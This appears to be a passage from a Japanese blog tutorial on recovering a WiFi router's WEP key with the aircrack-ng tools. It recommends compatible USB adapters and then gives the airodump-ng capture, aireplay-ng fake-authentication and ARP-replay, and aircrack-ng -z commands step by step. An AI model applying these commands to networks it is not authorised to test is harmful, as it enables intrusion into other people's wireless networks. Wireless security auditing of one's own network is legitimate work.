ここで、無線アダプタのチップが出てなければ、対応外か別途インストールの可能性があります。
自分が確認をし、ひとまず設定なしで使えたものは、
GW−US54GXSと
CG-WLUSB2GPXです。
もし設定をする場合だと少しややこしいのでLINUX初心者の方は、お勧め出来ません。
他の手持ちのaterm WL54SU2とGW−US300MINISは認識しませんでした。
GW−US54GXSは1100円と値段的に手ごろなので、お勧め出来ます。
その代わりにaireplayが使えないので、時間は掛かると思います。使えるのはモニタのみです。
ネットをしながら解析の場合は、GW−US54GXSでも大丈夫だと思います。
ネットをしなくて解析の場合はCG-WLUSB2GPXの方がいいかと・・・
それ以外の場合だとドライバ対応表です。
http://www.aircrack-ng.org/doku.php?id=compatibility_drivers自分が使ってるチップを調べて、ドライバにパッチをあててください。
その後認識をしたら、
コマンド
airodump-ng wlan1このコマンドは、周囲の無線の様子を監視します。
コマンドを打つと、モニタリングが始まり、しばらく立つと、出てきます。
ここで一通りモニタリングで出てきたら、CTRLキーとCを押し、プログラムを止めます。
これで、BSSID チャンネル、SSIDをメモをし、次に
airodump-ng -c (チャンネル) -w rite --bssid (無線ルーターのMACアドレス) wlan0モニタリングのみの場合は、このまま放置してれば大丈夫です。
パケットの溜りが遅い場合や、早く解析したい場合は、無理やりパケットを出させるようにも出来ます。GW−US54GXSでは無理でした。
新たに、ターミナルを立ち上げて
コマンド
aireplay-ng -1 0 -a (無線ルータのMACアドレス) -h (自分の無線アダプタのMACアドレス) -e (ESSID) wlan0これで、無線ルーターにぶら下がりです。
そしてそれから、aireplay-ng -3 -b (無線ルーターのMACアドレス) -h (自分のmacアドレス) mon0と打ちます。
うまく機能したら必要なパケット(DATA)の部分が増えていってると思います。
大体4万くらい溜まったら、
コマンド
aircrack-ng -z -b (無線ルーターのマックアドレス) rite-*.cap 解析に完了したら、
KEY FOUND **************************
と16進数で出ます。
*-z このコマンドはaircrack-ptwと同じになる為比較的少ないパケットで解析できるようになるので
入れてた方が無難です。
自分の家の環境では、4万パケットで解析できました。
環境により動作は変わるかもしれません。
WPAとWindows版、PSP版のは確認しときます。